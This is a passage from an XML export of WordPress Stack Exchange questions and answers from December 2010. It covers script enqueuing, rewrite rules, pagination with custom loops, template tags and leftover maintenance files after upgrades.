  <row Id="5466" PostTypeId="2" ParentId="5451" CreationDate="2010-12-16T03:47:19.317" Score="0" ViewCount="" Body="&lt;p&gt;Looks like it is included when you enqueue the 'comment-reply' scrip. Note that you probably want to make sure 'comment-reply' is loaded only on pages could have comments enabled (e.g. check &lt;code&gt;is_singular()&lt;/code&gt; before enqueueing the script).&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-12-16T03:47:19.317" CommentCount="2" />
  <row Id="5467" PostTypeId="2" ParentId="5453" CreationDate="2010-12-16T05:18:41.763" Score="7" ViewCount="" Body="&lt;p&gt;The following in functions.php also works well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Remove pages from search results&#xA;function mySearchFilter($query) {&#xA;if ($query-&amp;gt;is_search) {&#xA;$query-&amp;gt;set('post_type', 'post');&#xA;}&#xA;return $query;&#xA;}&#xA;add_filter('pre_get_posts','mySearchFilter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2012" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-16T12:14:29.953" LastActivityDate="2010-12-16T12:14:29.953" CommentCount="1" />
  <row Id="5468" PostTypeId="1" AcceptedAnswerId="5476" CreationDate="2010-12-16T06:22:40.223" Score="0" ViewCount="143" Body="&lt;p&gt;I am trying to manually upgrade my wordpress to the latest version (3.0.3)-- after autoupgrade fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the upgrade everything works fine except for one little nagging message at the top of my admin area:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An automated WordPress update has&#xA;  failed to complete - please attempt&#xA;  the update again now&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I search the Internet and everyone is saying that it is because of a &lt;code&gt;.maintenance&lt;/code&gt; file located in the Wordpress root folder, a relic of a failed auto-upgrade or a manual upgrade. In the second case one would just have to delete that file and everything would be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I search my wordpress installed directory, there is no such file. Any idea what contributes to this problem?&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditorDisplayName="" LastEditDate="2010-12-16T07:42:18.003" LastActivityDate="2010-12-16T08:53:40.230" Title="&quot;An automated WordPress update has failed to complete - please attempt the update again now&quot;-- But there is no .maintenance file" Tags="&lt;3.0&gt;&lt;upgrade&gt;" AnswerCount="2" />
  <row Id="5469" PostTypeId="2" ParentId="5451" CreationDate="2010-12-16T06:38:21.887" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/js/l10n.dev.js&quot; rel=&quot;nofollow&quot;&gt;Developers source&lt;/a&gt; for the file has following description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;//Used to ensure that Entities used in L10N strings are correct&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and commit note says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Move the l10n helper function into a seperate js file so we can always output it first.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hadn't played with 3.1 yet so not sure what can make it load in every page.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-16T06:38:21.887" CommentCount="1" />
  <row Id="5470" PostTypeId="2" ParentId="5460" CreationDate="2010-12-16T06:43:37.697" Score="2" ViewCount="" Body="&lt;p&gt;Wordpress' analytics - &lt;a href=&quot;http://wordpress.org/extend/plugins/stats/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/stats/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1817" LastActivityDate="2010-12-16T06:43:37.697" CommentCount="1" />
  <row Id="5471" PostTypeId="2" ParentId="5468" CreationDate="2010-12-16T07:00:34.433" Score="3" ViewCount="" Body="&lt;p&gt;From the quick look at code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This message is triggered by &lt;code&gt;maintenance_nag()&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;li&gt;The only condition to trigger is if &lt;code&gt;$upgrading&lt;/code&gt; variable is defined.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$upgrading&lt;/code&gt; variable is defined by including &lt;code&gt;.maintenance&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I reason that file &lt;strong&gt;is&lt;/strong&gt; present, there is no other path to this message that I see in code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File starting with dot are regarded as system/hidden on Linux. It might be you simply don't see the file, but it is present. How are you browsing directory? Can also try asking hosting to check for you if there aren't enough permissions on your account or something.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-16T07:00:34.433" CommentCount="4" />
  <row Id="5472" PostTypeId="1" AcceptedAnswerId="5474" CreationDate="2010-12-16T07:34:28.863" Score="0" ViewCount="112" Body="&lt;p&gt;this rss feed question was resolved but now when i tried this code &lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_comments_feed_link($feed); ?&amp;gt;&quot;&amp;gt;RSS feed of this post&amp;lt;/a&amp;gt;&lt;/code&gt; on my archives page,then i am getting the wrong url feed&#xA;what i want is when i click on the this feed, then i should get all the feeds of that current page which means, my url is this &lt;code&gt;http://mbas.in/location/mba-in-ghana&lt;/code&gt; where location is my custom taxonomy, if i write this in url &lt;code&gt;http://mbas.in/location/mba-in-ghana/feed&lt;/code&gt; then i get all the feeds of that page,&#xA;but if i write the code and i click on the link then it is giving me feeds of this url&#xA;&lt;code&gt;http://mbas.in/university-ghana-business-school/emba/feed&lt;/code&gt; this is the first post of my that page,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the problem with this?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-20T05:04:40.573" LastActivityDate="2011-01-19T05:46:47.117" Title="rss feed code help" Tags="&lt;plugins&gt;&lt;rss&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5473" PostTypeId="1" AcceptedAnswerId="5475" CreationDate="2010-12-16T07:52:15.927" Score="1" ViewCount="120" Body="&lt;p&gt;I have created a page template for the front page of a site I am building using WordPress. I am displaying the 3 latest posts on this page and all works fine except for the display of the author of the post. I am using the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $recentposts=get_posts('showposts=3');&#xA;        if ($recentposts) &#xA;        {&#xA;            foreach($recentposts as $post)&#xA;            {&#xA;                //setup_postdata($post);&#xA;    ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;fifthFloat&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; &#xA;                     title=&quot;Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;            &amp;lt;?php&#xA;                $postContent = $post-&amp;gt;post_content;&#xA;                if(strlen($postContent) &amp;gt; 50)&#xA;                {&#xA;                    $postContent = substr($postContent, 0, &#xA;                             strrpos(substr($postContent, 0, 60), &quot; &quot;)) . &quot; ...&quot;;&#xA;                }&#xA;                echo $postContent;&#xA;            ?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;Posted &amp;lt;?php the_time(&quot;jS M Y&quot;); ?&amp;gt; by &amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;            }&#xA;        }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I have also tried the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user_info = get_userdata($post-&amp;gt;post_author);&#xA;echo $user_info-&amp;gt;first_name;&#xA;echo $user_info-&amp;gt;last_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but both result in an empty string.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2010-12-16T08:04:18.350" Title="the_author() returns empty string" Tags="&lt;posts&gt;&lt;query-posts&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="5474" PostTypeId="2" ParentId="5472" CreationDate="2010-12-16T08:00:45.123" Score="0" ViewCount="" Body="&lt;p&gt;&lt;del&gt;Not entirely sure. This is template tag and should be used in Loop, but for single post page it works fine most of the time even outside of Loop. Seems to from quick test.&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disregard that. The issue is you were forgetting to &lt;code&gt;echo&lt;/code&gt; it. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is specialized template tag for comment feeds: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_comments_feed_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_comments_feed_link()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and is there any plugin where as soon as i publish a new post, automatically the rss feed is also created of it???&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not sure what you mean here. When post is published it automatically appears in main site's feed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-16T08:45:58.923" LastActivityDate="2010-12-16T08:45:58.923" CommentCount="2" />
  <row Id="5475" PostTypeId="2" ParentId="5473" CreationDate="2010-12-16T08:04:18.350" Score="2" ViewCount="" Body="&lt;p&gt;Any reason this is commented out?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//setup_postdata($post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function setups global variables for current post and author data is pulled from one of those.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-16T08:04:18.350" CommentCount="1" />
  <row Id="5476" PostTypeId="2" ParentId="5468" CreationDate="2010-12-16T08:53:40.230" Score="1" ViewCount="" Body="&lt;p&gt;I think what Rarst means is that it is a .file (or hidden file) much like the .htaccess file. If you are browsing your files, there is an option to show hidden files. Once that option is chosen, you will most likely also see the .maintenance file&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2010-12-16T08:53:40.230" />
  <row Id="5477" PostTypeId="1" AcceptedAnswerId="5672" CreationDate="2010-12-16T09:35:54.313" Score="0" ViewCount="603" Body="&lt;p&gt;my question may look like &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4696/pagination-not-working-with-custom-loop&quot;&gt;Pagination not working with custom loop&lt;/a&gt;, but there is a different. I use the custom loop for display flash game. I want to make a pagination on page games by category. category.php :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ($cat)&#xA;{&#xA;$cols = 2;&#xA;$rows = 4;&#xA;$paged = (('paged')) ? get_query_var('paged') : 1;&#xA;$post_per_page = $cols * $rows; // -1 shows all posts&#xA;$do_not_show_stickies = 1; // 0 to show stickies&#xA;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'game',&#xA;    'category__in' =&amp;gt; array($cat),&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'caller_get_posts' =&amp;gt; $do_not_show_stickies&#xA;);&#xA;$wp_query = new WP_Query($args); &#xA;begin_roundblock(get_cat_name($cat), 'games-pages-category', null);&#xA;if (have_posts()):&#xA;  echo '&amp;lt;div class=&quot;games-list-block-content&quot;&amp;gt;';&#xA;    /* Begin Breadcrump*/&#xA;    echo '&amp;lt;div class=&quot;breadcrumb&quot;&amp;gt;';&#xA;            if(function_exists('bcn_display'))&#xA;            {&#xA;                echo '&amp;lt;div class=&quot;breadcrumb-text&quot;&amp;gt;';&#xA;                echo 'Go Back:';&#xA;                    bcn_display();&#xA;                echo '&amp;lt;/div&amp;gt;';&#xA;            }&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;    /* End Breadcrump*/&#xA;    $i = 0;&#xA;    while (have_posts())&#xA;    {&#xA;        the_post();&#xA;&#xA;        $class = 'game-info';&#xA;        if ($i % $cols == 0)&#xA;            $class .= ' clear';&#xA;&#xA;        echo '&amp;lt;div class=&quot;'.$class.'&quot;&amp;gt;&amp;lt;a href=&quot;'.get_permalink().'&quot;&amp;gt;';&#xA;        the_post_thumbnail(array(60, 60), array('class' =&amp;gt; 'game-icon'));&#xA;        $title = get_the_title();&#xA;        if (mb_strlen($title) &amp;gt; 7)&#xA;            $title = mb_substr($title, 0, 6).'...';&#xA;        echo '&amp;lt;span class=&quot;game-title&quot;&amp;gt;'.$title.'&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        $i++;&#xA;    } ?&amp;gt;&#xA;     &amp;lt;div class=&quot;navigation clear game-info-last-row&quot;&amp;gt;&#xA;&amp;lt;?php if(function_exists('wp_pagenavi')) &#xA;          { wp_pagenavi(); } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;//For default WP&#xA; &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('« Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries »') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;    &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isnt here.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&amp;lt;?php endif;&#xA;end_roundblock();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the pagination links, also I tried to use the wp-pagenavi plugin and it's right calculate the number of my post's(game's) to display with right number of pages. But when I clicked on link &quot;Older Entries&quot; (or any page in case pagenavi plugin) it's go to main page, but url is &quot;http://mydomain/category/category_name/page/2&quot;. I try to use many other plugin's, but all the same. Doe's anybody could help me with it?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1301" LastEditorUserId="1301" LastEditorDisplayName="" LastEditDate="2010-12-16T12:39:02.747" LastActivityDate="2010-12-20T15:17:55.260" Title="Pagination with custom loop" Tags="&lt;custom-post-types&gt;&lt;page&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="9" FavoriteCount="1" />
  <row Id="5478" PostTypeId="2" ParentId="5413" CreationDate="2010-12-16T10:07:23.413" Score="8" ViewCount="" Body="&lt;h2&gt;Some background on rewrite rules&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The WP Rewrite system looks complicated, but in fact it's not that hard to understand how it works. It is used to parse &lt;em&gt;pretty&lt;/em&gt; URLs (&lt;code&gt;/designers/&lt;/code&gt;) as if they were non-pretty (&lt;code&gt;/index.php?pagename=designers&lt;/code&gt;). The basic idea is that you have a list of &lt;em&gt;rewrite rules&lt;/em&gt;, regular expressions that can match the incoming URLs, and rewrite them into other URLs, mostly in the form of &lt;code&gt;index.php&lt;/code&gt; with some query variables. These variables are set to parts of the regular expression that matched the URL. The rules are evaluated top to bottom, so if two rules might match, the first one &quot;wins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These rewrite rules are stored in the database by calling &lt;code&gt;flush_rewrite_rules()&lt;/code&gt;, but because generating and writing these rules is an expensive operation, you should not do it on every &lt;code&gt;init&lt;/code&gt;. Instead, you only do it when you change the rules: probably on plugin activation (using &lt;code&gt;register_activation_hook()&lt;/code&gt;), or manually by visiting the &lt;em&gt;Permalinks&lt;/em&gt; settings page (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3125/how-does-one-flush-rules-on-theme-activation-or-deactivation-only&quot;&gt;because it's hard to do this automatically on theme activation&lt;/a&gt;). &lt;strong&gt;If you don't flush the rules, calling &lt;code&gt;add_rewrite_rule()&lt;/code&gt; has no effect. It is no problem to call &lt;code&gt;add_rewrite_rule()&lt;/code&gt; on every &lt;code&gt;init&lt;/code&gt;, even after you flushed the rules.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to add your rewrite rules, and if you only want to add one rule, you can do this with &lt;code&gt;add_rewrite_rule()&lt;/code&gt;. Because the rules for posts, pages, taxonomies, ... result in multiple rules, they are created with high level functions like &lt;code&gt;add_rewrite_tag()&lt;/code&gt;, &lt;code&gt;add_permastruct()&lt;/code&gt;, ... But these are not needed for the simple case we have here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some filters, so you can also add your rules using the &lt;code&gt;generate_rewrite_rules&lt;/code&gt; or &lt;code&gt;generate_rewrite_rules_array&lt;/code&gt; hooks. These give you very detailed control over the complete rules, but again, &lt;code&gt;add_rewrite_rule()&lt;/code&gt; is enough if you just want to add one rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules&quot;&gt;a little plugin that allows you to analyze the current rewrite rules&lt;/a&gt;, and (of course) I recommend you use it when you try to change anything.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Getting your extra info from the URL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's build on the example you gave. You have the designer brand &lt;code&gt;Batlak og Selvig&lt;/code&gt;, with the numberic ID (&lt;code&gt;bid&lt;/code&gt;) &lt;code&gt;9&lt;/code&gt;. You don't want this ID in the URL, but only the name. We call the URL-friendly version of the name (without spaces or special characters) the &lt;a href=&quot;http://codex.wordpress.org/Glossary#Slug&quot; rel=&quot;nofollow&quot;&gt;slug&lt;/a&gt;: &lt;code&gt;Batlak-og-Selvig&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, the URL should contain all info to identify the content you want to show on the page. You can use cookies or POST requests to store the actual designer ID you want to display, but this will break down if anyone shares the link, by sending it via mail, Facebook, Twitter, or just reading it out loud over the phone. If you don't want to use the numeric ID in your URL, you should make sure the slug is unique: then you first do a lookup of the ID based on the slug, and continue as you did before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what we have learned now is that we want to add a rewrite rule for the pattern &lt;em&gt;&quot;&lt;code&gt;/designers/&lt;/code&gt; followed by anything up to the next &lt;code&gt;/&lt;/code&gt;&quot;&lt;/em&gt;, and save that &lt;em&gt;&quot;anything&quot;&lt;/em&gt; in the &lt;code&gt;designer_slug&lt;/code&gt; query variable. In your case I believe you also want to use the page with the slug &lt;code&gt;designers&lt;/code&gt; as the general page content, so we'll tell WordPress that too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpa5413_init' );&#xA;function wpa5413_init()&#xA;{&#xA;    // Remember to flush the rules once manually after you added this code!&#xA;    add_rewrite_rule(&#xA;        // The regex to match the incoming URL&#xA;        'designers/([^/]+)/?',&#xA;        // The resulting internal URL: `index.php` because we still use WordPress&#xA;        // `pagename` because we use this WordPress page&#xA;        // `designer_slug` because we assign the first captured regex part to this variable&#xA;        'index.php?pagename=designers&amp;amp;designer_slug=$matches[1]',&#xA;        // This is a rather specific URL, so we add it to the top of the list&#xA;        // Otherwise, the &quot;catch-all&quot; rules at the bottom (for pages and attachments) will &quot;win&quot;&#xA;        'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing left to do is to tell WordPress to also keep the &lt;code&gt;designer_slug&lt;/code&gt; in the query variables, so you can access it later. WordPress uses a whitelist of allowed query variables, to prevent people from modifying every parameter of the posts query via the URL. Everything not on this list is ignored. Just hook into the &lt;code&gt;query_vars&lt;/code&gt; hook and add your extra variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'query_vars', 'wpa5413_query_vars' );&#xA;function wpa5413_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'designer_slug';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, this answer is basically the same as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3537/need-help-with-friendly-urls-in-wordpress&quot;&gt;my previous answer&lt;/a&gt;, but without the rule flushing in the code (so you can use it in your theme's &lt;code&gt;functions.php&lt;/code&gt; instead of a plugin), and with a bit more certainty and explanation because I learned a lot about rewrite rules since (and because of) answering your first question. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Chat room discussion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We cleared up final issues for this question &lt;a href=&quot;http://chat.stackexchange.com/rooms/153&quot;&gt;in the chat room&lt;/a&gt;. In the end, Steven used the &lt;code&gt;generate_rewrite_rules&lt;/code&gt; hook, because the &lt;code&gt;add_rewrite_rule()&lt;/code&gt; function did not seem to work for him.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-16T14:46:53.503" LastActivityDate="2010-12-16T14:46:53.503" CommentCount="13" />
  <row Id="5479" PostTypeId="2" ParentId="5477" CreationDate="2010-12-16T10:14:06.980" Score="0" ViewCount="" Body="&lt;p&gt;Looks like youa re using &lt;a href=&quot;http://lesterchan.net/wordpress&quot; rel=&quot;nofollow&quot;&gt;wp-pagenavi from Lester Chan&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = (get_query_var('paged')) ? get_query_var('paged') : 1; // U don't need this for normal WP paging.&#xA;&#xA; if(function_exists('wp_pagenavi')) &#xA;              { wp_pagenavi(); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you can use default WP paging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;  &amp;lt;span class=&quot;floatLeft&quot;&amp;gt;&amp;lt;?php next_posts_link('&amp;amp;laquo; Older Entries') ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;  &amp;lt;span class=&quot;floatRight&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries &amp;amp;raquo;') ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-12-16T10:14:06.980" CommentCount="4" />
  <row Id="5480" PostTypeId="2" ParentId="5444" CreationDate="2010-12-16T10:32:19.773" Score="0" ViewCount="" Body="&lt;p&gt;Modifying the URL structure always consists of two parts: one two modify the URLs you generate with your code, and one to handle the incoming URLs of the new structure. The latter part is done by modifying the rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just written a detailed explanation of the relevant rewrite functionality in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5413/need-help-with-add-rewrite-rule/5478#5478&quot;&gt;a response to a similar question&lt;/a&gt;, so here is just the code for your situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpa5444_init' );&#xA;function wpa5444_init()&#xA;{&#xA;    // Remember to flush the rules once manually after you added this code!&#xA;    add_rewrite_rule(&#xA;        // The regex to match the incoming URL&#xA;        'companies/tasks/([^/]+)/?',&#xA;        // The resulting internal URL: `index.php` because we still use WordPress&#xA;        // `pagename` because we use this WordPress page&#xA;        // `category_slug` because we assign the first captured regex part to this variable&#xA;        'index.php?pagename=companies&amp;amp;category_slug=$matches[1]',&#xA;        // This is a rather specific URL, so we add it to the top of the list&#xA;        // Otherwise, the &quot;catch-all&quot; rules at the bottom (for pages and attachments) will &quot;win&quot;&#xA;        'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpa5444_query_vars' );&#xA;function wpa5444_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'company_slug';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first part, writing your URLs to match this new pretty structure, is not bundled in one place but spread over all the functions that generate URLs. You will need to write a function to handle your case yourself, since you generate a page URL and add the category part to it. It could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse5444_company_link( $category_slug = '' )&#xA;{&#xA;    $company_page_id = 42; // Somehow convert the page slug to page ID&#xA;    $link = get_page_link( $company_page_id );&#xA;    if ( $category_slug ) {&#xA;        // trailingslashit() makes sure $link ends with a '/'&#xA;        $link = trailingslashit( $link ) . 'tasks/' . $category_slug;&#xA;        // user_trailingslashit() adds a final '/' if the settings require this,&#xA;        // otherwise it is removed&#xA;        $link = user_trailingslashit( $link );&#xA;    }&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-16T10:32:19.773" CommentCount="2" />
  <row Id="5481" PostTypeId="2" ParentId="5451" CreationDate="2010-12-16T11:15:05.550" Score="1" ViewCount="" Body="&lt;p&gt;I found on my installation that this script was loaded alongside the new admin bar, getting rid of the admin bar got rid of the l10n.js for me(but i think Jan's answer is more inline with answering the &quot;why&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the bar was easy..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'init', 'wp_admin_bar_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't actually address the question(as evidenced by the other answers), but incase anyone wants to remove that awful bar, the above is how you do it..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-17T10:01:32.240" LastActivityDate="2010-12-17T10:01:32.240" CommentCount="3" />
  <row Id="5482" PostTypeId="2" ParentId="5436" CreationDate="2010-12-16T11:31:06.617" Score="0" ViewCount="" Body="&lt;p&gt;The simplest way is probably this plugin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts 2 Posts &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-16T11:31:06.617" CommentCount="2" />
  <row Id="5483" PostTypeId="1" AcceptedAnswerId="6564" CreationDate="2010-12-16T11:44:57.780" Score="2" ViewCount="185" Body="&lt;p&gt;I'm using a custom post type for a portfolio. I have a few option in there, bring saved by &lt;code&gt;update_post_meta()&lt;/code&gt;, it seems to work fine, but then out of the blue (within the hour), the data deletes its self. I have looked in the DB and all custom metadata values are empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a little stumped really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code that's saving one of the options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update_colour_palette(){&#xA;    global $post;&#xA;    $color = get_post_custom($post-&amp;gt;ID);&#xA; $palette = $color[&quot;palette&quot;][0];&#xA;    update_post_meta($post-&amp;gt;ID, &quot;palette&quot;, $_POST[&quot;palette&quot;], $palette);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help, tips &amp;amp; tricks would be useful.&lt;/p&gt;&#xA;" OwnerUserId="1095" LastActivityDate="2011-01-08T02:50:09.197" Title="Post metadata deletes itself" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="5484" PostTypeId="2" ParentId="5451" CreationDate="2010-12-16T11:49:07.493" Score="9" ViewCount="" Body="&lt;p&gt;It contains the &lt;code&gt;convertEntities()&lt;/code&gt; function that (as the name says) converts HTML entities to their actual value. It is mostly used for scripts that send over localization data from PHP to the JS side using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_localize_script()&lt;/code&gt;&lt;/a&gt;. Just search for &lt;code&gt;l10n_print_after&lt;/code&gt; in the code base and you see it a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data you add in &lt;code&gt;wp_localize_script()&lt;/code&gt; is added before the script it translates (it must be, because it is referenced there). However, if you use a script concatenator (so you only have one request that returns all used JS files), this one file would also be called after all localized data - but now &lt;code&gt;convertEntities()&lt;/code&gt; is not defined when we need it. For this reason this function is split off the general &lt;code&gt;utils.js&lt;/code&gt; file and added with a high priority at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason you should not remove it: all scripts that use translatable strings use it (even if they are 